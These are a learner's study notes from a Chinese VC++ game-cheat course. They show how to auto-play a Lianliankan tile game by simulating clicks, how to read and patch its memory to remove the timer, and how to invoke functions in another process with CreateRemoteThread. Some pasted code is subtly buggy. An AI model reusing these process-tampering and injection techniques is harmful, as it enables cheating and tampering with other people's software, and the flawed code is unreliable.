int x,y,t; //同一线上的两点间 全为0 则返回真
//如果 p1==p2 也返回真
if ((p1.x==p2.x)&&(p1.y==p2.y) && (chessdata[p1.y][p1.x]==0) && (chessdata[p2.y][p2.x]==0)) {return true; }else
if ((p1.x<0) || (p1.x>18) || (p1.y<0) || (p1.y>10) ||
(p2.x<0) || (p2.x>18) || (p2.y<0) || (p2.y>10) ) {return false; }
if (p1.x==p2.x) //如果X轴相等则 比较
{
if (p1.y>p2.y) {t=p1.y;p1.y=p2.y;p2.y=t;}
for (y=p1.y;y<=p2.y;y++)
{
if (chessdata[y][p1.x]!=0 ) {return false;}
}
}
if (p1.y==p2.y)
{ //如果Y轴相等 则比较
if (p1.x > p2.x) {t=p1.x;p1.x=p2.x ;p2.x=t;}
for(x=p1.x;x<=p2.x;x++)
{
if (chessdata[p1.y][x]!=0 ) {return false;}
};
};
return true;
};
另一个函数,这个因为与窗口有关系,所以就转移到llk_wgDlg.cpp里
bool ClearPiar() //消除一对棋子
{
//读出棋盘数据至chessdata 11,19
updateChess();
//遍历整个棋盘 找出相同类型 一对棋子
POINT p1,p2;
int x1,y1,x2,y2;
for (y1=0;y1<11;y1++)
for (x1=0;x1<19;x1++)
{ for (y2=y1;y2<11;y2++)
for (x2=x1;x2<19;x2++)
if ((chessdata[y1][x1]==chessdata[y2][x2]) // 棋子1与棋子2 类型是否相同
&&(!((x1==x2)&&(y1==y2))) //要求点1与点2 相等则假
)
{
p1.x=x1;p1.y=y1;
p2.x=x2;p2.y=y2;
//检测 相同的2个棋子是否可消掉
if ( Check2p(p1,p2))//如果可消除 则返回真
{
//click2p 鼠标模拟 点击 p1,p2
click2p(p1,p2);
m_p1x=x1;
m_p1y=y1;
m_p2x=x2;
m_p2y=y2;
UpdateData(false);
return true;
}
}
}
return false;
}
还有一个最长的函数
bool Check2p(POINT a,POINT b)
{
CChessPoint p1(a),p2(b);
POINT pa,pb;//转角点
int x,y;
// 如果2点为同一点 则返回假
if ((a.x==b.x) && (a.y==b.y )) { return false;} else
if ((chessdata[a.y][a.x]==0) || (chessdata[b.y][b.x]==0))
{ return false;} else
if (chessdata[a.y][a.x]!=chessdata[b.y][b.x])
{ return false;}
pa=a;pb=b;
// 在横向一条线上 y坐标 相同
if (a.y==b.y)
{ // 2点在y轴相邻
if ((p1.right.x==p2.p.x) || (p1.left.x==p2.p.x)) { return true; }
//检测 这条线是否有一条路径相通
if (CheckLine(p1.right,p2.left )) {return true; }
//检测 上下
//y 上
pa=a;pb=b;
if ((p1.up.y >=0) && (p1.up.y<=10))
for ( y=0 ;y<=p1.up.y;y++)
{
pa.y=y;pb.y=y;
if (CheckLine(pa,p1.up) && CheckLine(pb,p2.up ) && CheckLine(pa,pb)) { return true; }
}
// y下
pa=a;pb=b;
if ((p1.down.y >=0)&& (p1.down.y <=10))
for ( y=p1.down.y;y<=10;y++)
{
pa.y=y;pb.y=y;
if (CheckLine(pa,p1.down ) && CheckLine(pb,p2.down ) && CheckLine(pa,pb)) { return true; }
}
//检测 左右 因为 y轴相等,所以不存在左右路径
} else
//纵向一条线 x 坐标 相同
if (a.x==b.x)
{
//x下上 相邻不
if ((p1.down.y==p2.p.y ) || (p1.up.y==p2.p.y)) { return true; }
//检测 这条线是否有一条路径相通
if (CheckLine(p1.down,p2.up) ) { return true; }
//检测 上下 国为x 轴相等 所以不存在路径
//检测 左右
//x左
pa=a;pb=b;
for (x=0 ;x<=p1.left.x ;x++)
{
pa.x=x;
pb.x=x;
if (CheckLine(pa,p1.left) && CheckLine(pb,p2.left ) && CheckLine(pa,pb)) { return true; }
}
//x右
pa=a;pb=b;
for (x=p1.right.x;x<=18;x++)
{
pa.x=x;
pb.x=x;
if (CheckLine(pa,p1.right ) && CheckLine(pb,p2.right ) && CheckLine(pa,pb)) { return true; }
}
} else
//xy 坐标 都不相同 {{{{{{
{
pa=a;pb=b;
if (a.x>b.x) { // p2点 在 左 left
////////////////xxxxxxxxxxxxxxxxx 找x轴路径
for (x=0;x<=p2.left.x;x++)
{
pa.x=x;pb.x=x;
if (CheckLine(pa,p1.left) && CheckLine(pa,pb) && CheckLine(pb,p2.left))
{return true; }
} // end for
for (x=p2.right.x ;x<= p1.left.x;x++)
{
pa.x=x;pb.x=x;
if (CheckLine(p2.right,pb) && CheckLine(pa,pb)&& CheckLine(pa,p1.left)) {return true; }
}
for (x=p2.right.x;x<=18;x++)
{
pa.x=x;pb.x=x;
if (CheckLine(p1.right ,pa)&& CheckLine(p2.right ,pb) && CheckLine(pa,pb)) { return true; }
}
/////////////////yyyyyyyyyyyyyyyyyyyy 找y轴路径 由于是从上向下 搜索 所以p1.y>p2.y
pa.x=a.x; pb.x=b.x; //初始化坐标 y軕渐变
for ( y=0 ;y<=p1.up.y;y++) //1段
{
pa.y=y;pb.y=y;
if (CheckLine(pb,pa) && CheckLine(pa,p1.up) && CheckLine(pb,p2.up)) { return true;}
}
////////////////////////
for (y=p1.down.y ;y<=p2.up.y;y++)//2段
{
pa.y=y;pb.y=y;
if (CheckLine(pb,pa)&& CheckLine(p1.down,pa) && CheckLine(pb,p2.up)) {
return true;}
}
///////////////////////
for (y=p2.down.y ;y<=10 ;y++) //3段
{
///////////////////////////////
pa.y=y;pb.y=y;
if (CheckLine(pb,pa) && CheckLine(p1.down,pa) && CheckLine(p2.down,pb)) { return true; }
}
} else
////////////p2点 在 右 right a.x>b.x
{
pa.y=a.y; pb.y=b.y; //初始化坐标
for (x=0 ;x<= p1.left.x ;x++);
{
pa.x=x;pb.x=x;
if (CheckLine(pa,pb)&& CheckLine(pa,p1.left)&& CheckLine(pb,p2.left)) {
return true;}
}
/////////////////////
for (x=p1.right.x ;x<=p2.left.x;x++)
{
pa.x=x;pb.x=x;
if (CheckLine(pa,pb)&& CheckLine(p1.right,pa)&& CheckLine(pb,p2.left)) { return true;
}
}
///////////////////////
for (x=p2.right.x ;x<=18;x++)
{
pa.x=0;pb.x=x;
if (CheckLine(pa,pb) && CheckLine(p1.right,pa)&& CheckLine(p2.right,pb)) {return true; }
}
///////////////////////yyyyyyyyyyyyyyyyyy y轴渐变
pa.x =a.x; pb.x =b.x ; //初始化坐标
if ((p1.up.y>=0) && (p1.up.y<=10))
{
for (y=0 ;y<=p1.up.y ;y++) //1段
{
pa.y=y;pb.y=y;
if (CheckLine(pa,pb)&& CheckLine(pa,p1.up) && CheckLine(pb,p2.up)) { return true; }
}}
//////
pa.x =a.x; pb.x =b.x ; //初始化坐标
if ((p1.down.y<=10) && (p2.up.y>=0))
{
for (y=p1.down.y ;y<=p2.up.y;y++) //2段
{
pa.y=y;pb.y=y;
if (CheckLine(pa,pb)&& CheckLine(p1.down,pa) && CheckLine(pb,p2.up)) { return true;
} }
}
////
pa.x =a.x; pb.x =b.x ; //初始化坐标
if (p2.down.y <=10)
{
for ( y=p2.down.y;y<=10;y++) //3段
{
pa.y=y;pb.y=y;
if (CheckLine(pa,pb) && CheckLine(p1.down,pa)&& CheckLine(p2.down ,pb)) { return true; }
}
}
}
}
//xy 坐标 都不相同 }}}}}}}}}
return false;
}
这节课的代码实在太长了,老师也是先自己写好了再发出来的,他说如果在教程中写代码的话起码要1个小时.添加一个按钮两个编辑框,将代码来测试一下,先单消一次看看,好像已经找到能够消除的棋子了,但是还没有实现自动点击,下节课继续……
这节课太难懂了,本来还想通过课程学学VC代码,但是感觉更晕了.
今天我们要一起学习的是1.3.6
教学目标:
1.3.6 Click2p函数实现,单消棋子功能实现
a、完成Click2p函数
b、单消一对棋子的实现
c、修改ClearPair函数
棋盘第一格 坐标 x=21,y=192
31*35 棋子宽度,高度
SendMessage(hwnd,WM_LBUTTONDOWN,0,(y<<16)+x+31*2);//
SendMessage(hwnd,WM_LBUTTONUP,0,(y<<16)+x); //
bool Click2p(POINT p1,POINT p2)
{
//点击p1
HWND hwnd=FindWindow(NULL,gameCaption);
int lparam;
lparam=((p1.y*35+192)<<16)+(p1.x*31+21);
SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//
SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//
//点击p2
lparam=((p2.y*35+192)<<16)+(p2.x*31+21);
SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//
SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//
return true;
}
//////////////////////
前面的代码只是分析出可消除的棋子,并没有实现真正消除,所以本节课将模拟鼠标点击,发送鼠标信息来实现自动消除棋子
bool Click2p(POINT p1,POINT p2)//点击两点函数
{
//点击p1
HWND hwnd=FindWindow(NULL,gameCaption);//查找游戏窗口
int lparam;//定义参数
//192是棋盘距离窗口上面的距离,21是棋盘距离左边的距离
lparam=((p1.y*35+192)<<16)+(p1.x*31+21);//通过棋子格子计算位置
SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//鼠标按下
SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//鼠标抬起
//点击p2
lparam=((p2.y*35+192)<<16)+(p2.x*31+21);//计算配对棋子位置
SendMessage(hwnd,WM_LBUTTONDOWN,0,lparam);//
SendMessage(hwnd,WM_LBUTTONUP,0,lparam);//
return true;
}
代码添加完之后挂上游戏测试了一下,发现开始可以消除棋子,后面就不动了,再继续查找代码,分析哪里出错.
将bool CLlk_wgDlg::ClearPiar() 函数的
for (x1=x1;x1<19;x1++)
改为
for (x1=0;x1<19;x1++)//不要限制其格子数
还要将for (x2=x1;x2<19;x2++)
改成for (x2=0;x2<19;x2++)
这回可以消除所有棋子了
这节课才14分钟,代码写的比较少,相比上节的代码简单太多了,很容易理解,老师上节的代码也没仔细讲解一下………..看看后面有没有讲,如果没讲我就让他有空给讲讲,嘿嘿.
其实记笔记主要是记课程当中都讲了什么内容,以便以后查阅起来方便.
今天我们要一起学习的是1.3.7
教学目标:
1.3.7 挂机/秒杀/
a、自动开局
b、挂机下棋
c、秒杀
UINT SetTimer(
HWND hWnd, // 指向窗口句柄
UINT nIDEvent, // 时钟标识
UINT uElapse, // 时间间隔 (毫秒)
TIMERPROC lpTimerFunc // 指向回调函数的地址
);
KillTimer(UINT nIDEvent); // 时钟标识
VOID CALLBACK playproc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
{
ClearPiar();
}
VOID CALLBACK strartproc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
{
startGame(); //自动开局
}
const PLAYID=111;
const STARTID=112;
void CLlk_wgDlg::OnCheck1()
{
// TODO: Add your control notification handler code here
UpdateData(true);//更新窗口内容至变量
if (m_autoplay)
{
SetTimer(PLAYID,1500,&playproc);
} else
{
KillTimer(PLAYID);
}
}
void CLlk_wgDlg::OnCheck2()
{
// TODO: Add your control notification handler code here
UpdateData(true);//更新窗口内容至变量
if (m_autoplay)
{
SetTimer(STARTID,3*1000,&strartproc);
} else
{
KillTimer(STARTID);
}
}
//////////////上面都是教案中的内容,下面是我记录的内容/////////
在窗口上添加一个复选框CheckBox,设置为自动开局,再关联两个变量
M_autoplay / M_autostart
为了运用这两个变量在函数中,又重新调整了一下头llk_wgDlg.cpp中的函数,都是在定义全局变量/标识符一类的代码调整,对我这个没有VC++基础的人来讲,有点看不懂.
这是添加复选框后的界面
在”自动挂机”和”自动开局”中添加如下代码
const PLAYID=111;//定义一个数值方便调用,不要重复
const STARTID=112;//可以随便取数,不要重复
void CLlk_wgDlg::OnCheck1() //如果复选框被选中则执行
{
// TODO: Add your control notification handler code here
UpdateData(true);//更新窗口内容至变量
if (m_autoplay)//如果变量被设置则运行
{
SetTimer(PLAYID,1500,&playproc);//自动挂机
} else
{
KillTimer(PLAYID);//关掉定时器,不执行回调函数
}
}
void CLlk_wgDlg::OnCheck2()
{
// TODO: Add your control notification handler code here
UpdateData(true);//更新窗口内容至变量
if (m_autoplay) //如果变量被设置则运行
{
SetTimer(STARTID,3*1000,&strartproc);//自动开局
} else//如果没有被选中的话
{
KillTimer(STARTID);
}
}
代码我做了比较多的注释,基本上像我这样的新手都能理解了.我发现VC++与DELPHI在编写代码上确实存在很多不同之处,比如在时间的设置上,DELPHI中是加入时间控件,而VC++中却是添加 了一个函数SetTimer,感觉有点不太习惯,但人家说了,VC++是专业人员用的,这就代表着专业呗 ^_^
今天我们要一起学习的是1.3.8
1.3.8 游戏外挂界面美化
a、添加进度条
b、界面调整
c、Slider控件属性设置
BOOL MoveWindow(
HWND hWnd, // 窗口句柄
int X, // 水平坐标X
int Y, // 垂直坐标Y
int nWidth, // 宽度
int nHeight, // 高度
BOOL bRepaint // 是否重画窗口 true,false
);
//::MoveWindow(this->m_hWnd,0,0,330,200,true);
MoveWindow(0,0,330,200,true);
滑块(slider)
void SetTicFreq(int nFreq);
int GetPos() const;
void SetRange(int nMin, int nMax, BOOL bRedraw = FALSE);
MoveWindow(0,0,330,200,true);
this->m_ctl_slider.SetRange(50,3000); //设置滑块的 最小值 最大值
this->m_ctl_slider.SetTicFreq(150); //分隔线 宽度
this->m_ctl_slider.SetPos(1000); //滑块 位置
this->m_ctl_check.SetCheck(true); //选中复选框
//////////////////////////////
这节课是要界面美化,因为前期的核心代码已经编写了.更改界面,要删除一些不用的控件,因为控件与代码是关联的,所以一个懒办法就是将不用的控件移到窗口外面,这样就看不到了.
如果对窗口的调整还不满意,就用编程来实现,因为用代码设置窗口及控件大小最精确了.注意MoveWindow函数,如果是全局使用则是6个参数,局部使用就是5个参数
再给滑块条设置一下分隔线:建立控件变量m_ctl_slider,然后查看一下该变量的定义,用于参考代码写法,这几个就是滑块的类成员函数
滑块(slider)
void SetTicFreq(int nFreq);
int GetPos() const;
void SetRange(int nMin, int nMax, BOOL bRedraw = FALSE);
设置好手放在窗口的初始化处,也就是llk_wgDlg.cpp里的
BOOL CLlk_wgDlg::OnInitDialog() 函数
这样在启动时就会设置好控件样式
在MoveWindow(0,0,330,200,true);下面添加代码
this->m_ctl_slider.SetRange(50,3000); //设置滑块的 最小值 最大值
this->m_ctl_slider.SetTicFreq(150); //分隔线 宽度
this->m_ctl_slider.SetPos(1000); //滑块 位置
用编辑框测试一下滑块,调整好样式.
再设置一下”挂机速度调节”复选框来开启/关闭 滑块功能
这个需要先建立一个BOOL类型的变量m_sliderenable 来进行控制,添加代码如下
void CLlk_wgDlg::OnCheck3()
{
// TODO: Add your control notification handler code here
UpdateData(true);
::EnableWindow(m_ctl_slider.m_hWnd,m_sliderenable);//通过这个复选框来控制滑块条是否可用
}
还要设置这个挂机速度调节初始默认为开启,还需要在该控件中建立一个变量m_ctl_check
最终的代码设置如下
在MoveWindow(0,0,330,200,true);下面添加代码
this->m_ctl_slider.SetRange(50,3000); //设置滑块的 最小值 最大值
this->m_ctl_slider.SetTicFreq(150); //分隔线 宽度
this->m_ctl_slider.SetPos(1000); //滑块 位置
this->m_ctl_check.SetCheck(true); //选中复选框
设置的代码都在上面的教案里.感觉VC++的MFC不如DELPHI的窗体/控件用着方便,而且是非常的麻烦,当然也有的人用BCB,可能也是这个原因.
今天我们要一起学习的是1.3.9
1.3.9 倒计时与棋子数(基址查找)
a、查找棋子数 //为了优化 自动开局
b、查找倒计时 //这个倒计时有点讨厌,去掉它
c、开局的标志:
1、棋子数:$001166E0
1Byte,变更棋子数 :扫描类型 :精确数值
2、倒计时基址:$00118088查找
0
t=t-n; //3000-10;
1、棋子数: $001166E0 //没开局之前 0, 开局之后 大于0
2、倒计时基址:$00118088 //毫秒
3、开局的标志:01C3A7B4,01C4EF74,01C61F9C,01C84CF4 //boolean
///////////////////////////
前面的代码虽然可以自动下棋了,但是有关于自动开局这里还不智能,所以要增加一个棋子数的判断,当棋子为空时就要点击”开始”按钮,多找几次就找到了剩余棋子数的地址.同时为了丰富功能,还要查找倒计时功能,将倒计时去掉.而倒计时是个进度条,没有确切的数值,所以我们只好猜测,假设未开局时是0,如果刚一开始的时候估计其值可能会大于100,然后再查找不断减少的数值,最后走完就是0,注意这个值是4字节的.
找到了这两个数值我们如何做呢?可以将倒计时的数值锁定,或者将其时间控件给去掉;棋子数是我们用来监测是否在开局中,那么我们再来查找一下在游戏中是否有开局的数值,我们猜测未开局时是0,开局后是1,因为这都是编程时的真与假的设置
本节课是CE工具的经典使用
今天我们要一起学习的是1.4.1
1.4.1 优化自动开局函数StartGame
a、让游戏窗口高高在上
b、优化开局函数
参考 1.3.9
3、开局的标志:01C3A7B4,01C4EF74,01C61F9C,01C84CF4 //开局 时为1 未开局为0
int flag;//这个值为0时 执行 StartGame;
HWND gameh=::FindWindow(NULL,gameCaption);
//AfxMessageBox("Findwindow");
if (gameh==0) { return;} //没有找到游戏窗口
//让游戏窗口置顶
SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
//AfxMessageBox("GetWindowThreadProcessId");
//
DWORD pid;
::GetWindowThreadProcessId(gameh,&pid);
long flag,byReadSize;
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
::ReadProcessMemory(hp,(LPCVOID)(0x01C3A7B4),(LPVOID)(&flag),4,(LPDWORD) (&byReadSize));
if (byReadSize==0) {AfxMessageBox("未成功读出数据");}
if ((flag==0)&&(byReadSize>0)) { startGame();} //自动开局
////////////////////////////////
将上节课中找到的游戏开局4个地址写入代码中,写在计时器的回调函数里
在这个函数里
VOID CALLBACK strartproc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // current system time
)
添加如下代码
{ HWND gameh=::FindWindow(NULL,gameCaption);
if (gameh==0) { return;} //没有找到游戏窗口
//让游戏窗口置顶,最后参数是忽略掉前面的参数
SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
DWORD pid;//建立进程ID变量
::GetWindowThreadProcessId(gameh,&pid);//通过窗口找进程ID,参数1窗口句柄,参数2得到的ID
long flag,byReadSize;//定义变量用于指针
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);//打开线程,参数1为打开权限,参数2为进程派生,参数3为打开句柄ID
::ReadProcessMemory(hp,(LPCVOID)(0x01C3A7B4),(LPVOID)(&flag),4,(LPDWORD) (&byReadSize));//读取内存,参数1进程句柄,参数2被读进程指针,参数3保存数据指针,参数4读取字节浸透,参数5实际字节数
if (byReadSize==0) {AfxMessageBox("未成功读出数据");}//检测数据是否读出
if ((flag==0)&&(byReadSize>0)) { startGame();} //自动开局
}
这节课老师改了很长时间的代码,看来VC编程确实不容易,连老手都需要多次做测试,哎~ 凭我的水平,我想我只要能读懂VC代码就行了,真正写的时候还是用DELHPI吧.
今天我们要一起学习的是1.4.2
1.4.2 去掉游戏倒计时限制
a、找到计时代码
b、动态修改游戏代码(OD使用初探)
c、去掉计时限制
参考:1.3.9
2、倒计时基址:$00118088 //秒
分析写入 倒计时的代码:
0042646d:mov [eax+000047E4],edx //初始化 倒计时的值
00426526:mov [eax+000047E4],ecx //更新 倒计时的值 =减1
00426526:
byte acode[6]={0x90,0x90,0x90,0x90,0x90,0x90};//要将代码NOP掉
bool ClearCode()
{
HWND gameh=::FindWindow(NULL,gameCaption);
if (gameh==0) { return;} //没有找到游戏窗口
DWORD pid;
::GetWindowThreadProcessId(gameh,&pid);
long byWriteSize;
HANDLE hp=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
::WriteProcessMemory(hp,(LPCVOID)(0x00426526),(LPVOID)(acode),6,(LPDWORD) (&byWriteSize));//写入NOP代码
}
///////////////////////////////////////////
先将写入倒计时找到,用OD附加游戏,来到修改倒计时的汇编代码处,多试几次,看看哪行代码是关键的?试试将关键代码NOP掉看看
也就是在00426526这里连续写入6个90的数值,90就是NOP,也就是空操作.接下来在VC里编写代码,让咱们的外挂自己修改游戏的关键地址为6个90,代码已经在教案里了(上面的蓝字)
至于写入的函数WriteProcessMemory的参数,与ReadProcessMemory函数的参数是一样的,只是读出字节数和写入字节数的区别(详细附后).
再新增一个复选框”去掉游戏倒计时”,用来开启修改掉倒计时代码
void CLlk_wgDlg::OnCleartimer()
{
// TODO: Add your control notification handler code here
if (ClearCode()) {m_ctl_cleartime.EnableWindow(false);} //禁用它
else { m_ctl_cleartime.SetCheck(false);}
}
WriteProcessMemory 函数原型:
Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, ByVal lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
作用:写内存
说明:
hProcess , 进程的句柄
lpBaseAddress, 写入进程的位置(地址)
lpBuffer, 数据当前存放地址
nSize, 数据的长度
lpNumberOfBytesWritten,实际数据的长度
nSize以字节为单位,一个字节Byte等于8位
基本数据类型的长度
ShortInt 8位 = 1Byte
SmallInt 16位 = 2Byte
Integer 16位 = 2Byte
LongInt 32位 = 4Byte
Word 16位 = 2Byte
LongWord 32位 = 4Byte
Boolean 8位 = 1Byte
WordBool 16位 = 2Byte
LongBool 32位 = 4Byte
比如要写入Integer类型的数据,那么Integer长度2Byte
所以nSize = 2
今天我们要一起学习的是1.4.3
1.4.3 编写完整外挂
a、功能测试
b、修改完善外挂
秒杀: 1、棋子数: $001166E0 //没开局之前 0, 开局之后 大于0
int chessnum=ReadChessNum();
void KillAll()//秒杀
{
// TODO: Add your control notification handler code here
while (chessnum!=0)
{
ClearPiar();
//Sleep(1); //0x001166E0 棋子数=0时退出
chessnum=ReadChessNum();
}
}
int ReadChessNum() //读出当前 棋子数
{
// TODO: Add your control notification handler code here
//获取窗口句柄
HWND gameh=::FindWindow(NULL,gameCaption);
//获取窗口进程ID
DWORD processid;
::GetWindowThreadProcessId(gameh,&processid);
//打开指定进程
HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid);
//读指定进程 内存数据
DWORD byread;
LPCVOID pbase=(LPCVOID)0x001166E0 ; //棋子数据基址
int ChessNum;
LPVOID nbuffer=(LPVOID)&ChessNum; //存放棋子数据
::ReadProcessMemory(processH,pbase,nbuffer,4,&byread);
return ChessNum;
}
////////////////////////////////////////
再继续完善我们之前的代码,修改一下窗口置顶的代码,因为置顶的选项里没有关联变量,所以不能控制该选项框,新增一个变量m_gametop ,然后再加入代码
void CLlk_wgDlg::OnGameTop()
{
UpdateData(true); //更新窗口数据至变量
gametop=m_gametop;
if( m_gametop)//当变量值为真时则置顶
{
HWND gameh=::FindWindow(NULL,gameCaption);
if (gameh==0) { return;} //没有找到游戏窗口
//让游戏窗口置顶
::SetWindowPos(gameh,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); //窗口置顶函数
}
else //如果没有窗口被找到
{
HWND gameh=::FindWindow(NULL,gameCaption);
if (gameh==0) { return;} //没有找到游戏窗口
::SetWindowPos(gameh,HWND_NOTOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW); //取消置顶
}
}
再继续添加棋子数功能void CLlk_wgDlg::OnClearAll() 函数在上面教案里,这个就是秒杀功能.但是还需要读出棋子数,函数是int ReadChessNum(),在上面教案里.然后再调整一下秒杀功能.然后再调整一下置顶功能,
//让游戏窗口置顶
if (gametop)//新建的变量方便设置
{//选中则置顶
SetWindowPos(gameh,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
} else
{//未选中则不置顶
SetWindowPos(gameh,HWND_TOP,0,0,0,0,SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
今天我们要一起学习的是1.4.4
1.4.4 初级篇小结
a、游戏分析小结
b、编程小结
知识点:
1、GetWindowRect//窗口信息的获取
BOOL GetWindowRect(
HWND hWnd, // handle to window
LPRECT lpRect // 存放返回值的首地址 RECT
);
2、SetCursorPos//设置鼠标指针
BOOL SetCursorPos(
int X, //X
int Y //Y
);
3、mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);//硬件模拟鼠标
4、FindWindow //获取窗口句柄
HWND FindWindow(
LPCTSTR lpClassName, //窗口类名 NULL
LPCTSTR lpWindowName //窗口标题 NULL
);
5、GetWindowThreadProcessId //获取窗口进程ID
DWORD GetWindowThreadProcessId(
HWND hWnd, // handle to window
LPDWORD lpdwProcessId // 指向变量的指针 用来返回进程PID
);
6、OpenProcess //打开指定进程
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问权限 标记
BOOL bInheritHandle, // false;
DWORD dwProcessId // lpdwProcessId 进程ID标识
);
7、ReadProcessMemory //读指定进程 内存数据
BOOL ReadProcessMemory(
HANDLE hProcess, // HANDLE OpenProcess返回值
LPCVOID lpBaseAddress,
// 读取 进程起始地址 基址
LPVOID lpBuffer, // 存放数据的缓冲区
DWORD nSize, // 要读出的字节数
LPDWORD lpNumberOfBytesRead
// 实际读出字节数
);
8、WriteProcessMemory //写内存,参数同读内存
9、SendMessage //可以软模拟 鼠标 键盘操作
10、SetTimer
UINT SetTimer(
HWND hWnd, // 指向窗口的句柄
UINT nIDEvent, // 定时器 标识ID
UINT uElapse, // 时间间隔(毫秒)
TIMERPROC lpTimerFunc //回调函数
);
VOID CALLBACK TimerProc(
HWND hwnd, // handle of window for timer messages
UINT uMsg, // WM_TIMER message
UINT idEvent, // timer identifier
DWORD dwTime // 当前系统时间
);
11、KillTimer()
BOOL KillTimer(
HWND hWnd, // 指向窗口的句柄
UINT uIDEvent // 定时器 标识ID
);
12、SetWindowPos //HWND_TOPMOST 窗口置顶
控件讲解:
CButton slider//滑块控件
this->m_ctl_slider.SetRange(50,3000); //设置滑块的 最小值 最大值
this->m_ctl_slider.SetTicFreq(150); //分隔线 宽度
this->m_ctl_slider.SetPos(1000); //滑块 位置
//复选框控件
this->m_ctl_check.SetCheck(true); //选中复选框
基础知识:
a、数据类型:Bit,Byte,Word,Dword,float,double
b、用CE查找数据
c、CE工具使用技巧
d、OD调试
///////////////////////////////
本节课是老师对于前面内容的总结,教案写的很详细了.
老师总结,我也总结.初级班的课程我已经全部看完了, 相对于DELPHI班来讲记录的也比较仔细,相信我的记录能够帮助其它同学和网友,其实记录主要就是记一下课程的内容,方便以后回忆学习.总体来讲,VC班的初级教程内容比较多,相对于DELPHI班初级教程来讲,游戏也复杂了些,编写代码就更加复杂,就算是有DELPHI基础,想学起VC代码来我也感觉到非常吃力.不过我也觉着这个学习的顺序是对的,如果一开始就学VC,那恐怕我就没有信心了.想起自己在D班里的感想,弄外挂,编程会则可成.
VC++真的很难懂,看来我要参考其它VC教程来学习了.
Visual C++从入门到精通完整版视频教程
http://bbs.yjxsoft.net/read.php?tid-1210.html
VC视频教程(太平洋)
http://bbs.yjxsoft.net/read.php?tid-794.html
[视频]思成VC讲座
http://bbs.yjxsoft.net/read.php?tid-521.html
孙鑫VC视频教程[下载]
http://bbs.yjxsoft.net/read.php?tid-182.html
今天我们要一起学习的是2.1.1
2.1.1、CALL的概念(远程调用CALL)
a、写个调用示例(假想游戏客户端)
b、用OD找CALL,初探(用OD找出我们自己写的CALL)
c、代码注入器,远程CALL调用
1、先写一个假想的游戏客户端.
//VC++
SetWindowText(h,"窗口标题");
char s[33];
itoa(BoolValue,s,10);//整型 转字串
m_edt1.SetWindowText(s);
//找加血CALL
1//CE找的 血值 基址:416680
2 OD硬件 断点 hw 416680
3 //代码注入器
call 402360 //加血
call 4023d0 //减血 40108c
call 40108c //减血
//
HANDLE CreateRemoteThread(
HANDLE hProcess, // OpenProcess
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全结构指针 NULL
DWORD dwStackSize, // 0
LPTHREAD_START_ROUTINE lpStartAddress, // 指向我们的CALL 地址
LPVOID lpParameter, // 传递的参数指针 NULL
DWORD dwCreationFlags, // 0
LPDWORD lpThreadId // 返回一个 线程ID标识
);
//////////////////////////////////
首先讲一下CALL的基本知识,在VC里新建一个窗口,并增加编辑框,关联一个控件类型的变量m_edt1
int BoolValue=3000;//新建一个血值,假设为3000
HWND edit_hwnd; //设置全局变量
然后添加如下代码
void addBlood()//加血代码
{
char s[33]; //建立缓冲变量
BoolValue+=22;//每次加22血
itoa(BoolValue,s,10); //整型转换为10进制字符串
SetWindowText(edit_hwnd,s); //设置编辑框数值
}
void decBlood()//减血代码
{
char s[33];
BoolValue-=22;
itoa(BoolValue,s,10);
SetWindowText(edit_hwnd,s);
}
那么我们就要用CE来查找这个加血和减血按钮的CALL,打开CE,搜索一下当前的血值,再改变一下血值再搜索,如果找到的地址是绿色的,那么就证明其值是全局变量,也就是一级基址/主基址,改变一下血值,就找到其地址了,那么我们在OD里下一个内存断点 Hw 416680 , 被断下之后在00402385位置,向上看,我们来到函数的头部,也就是上面全是int 3的第一句那么我们找到的加血的CALL就是402360.
打开代码注入器,输入 call 402360 发现确实加血了
同理,再查找出减血的 CALL 4023d0
当然除此之外,在此函数头部的上一句是一个JMP语句,而这句也可以调用
最后又讲了一下CreateRemoteThread创建线程函数的用法,参数在上面教案里有详解.
本节课讲了CALL的基础,通过自己编写的一个小程序,让大家明白怎么样查找CALL和调用CALL
今天我们要一起学习的是2.1.2
2.1.2、远程CALL调用代码实现
a、CreateRemoteThread API函数
b、无参数的远程CALL调用(代码实现)
1、先写一个假想的游戏客户端.
call 402360 //加血
call 4023d0 //减血 40108c
call 40108c //减血
HANDLE CreateRemoteThread(
HANDLE hProcess, // OpenProcess
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全结构指针 NULL
DWORD dwStackSize, // 0
LPTHREAD_START_ROUTINE lpStartAddress, // 指向我们的CALL 地址
LPVOID lpParameter, // 传递的参数指针 NULL (stdcall)
DWORD dwCreationFlags, // 0
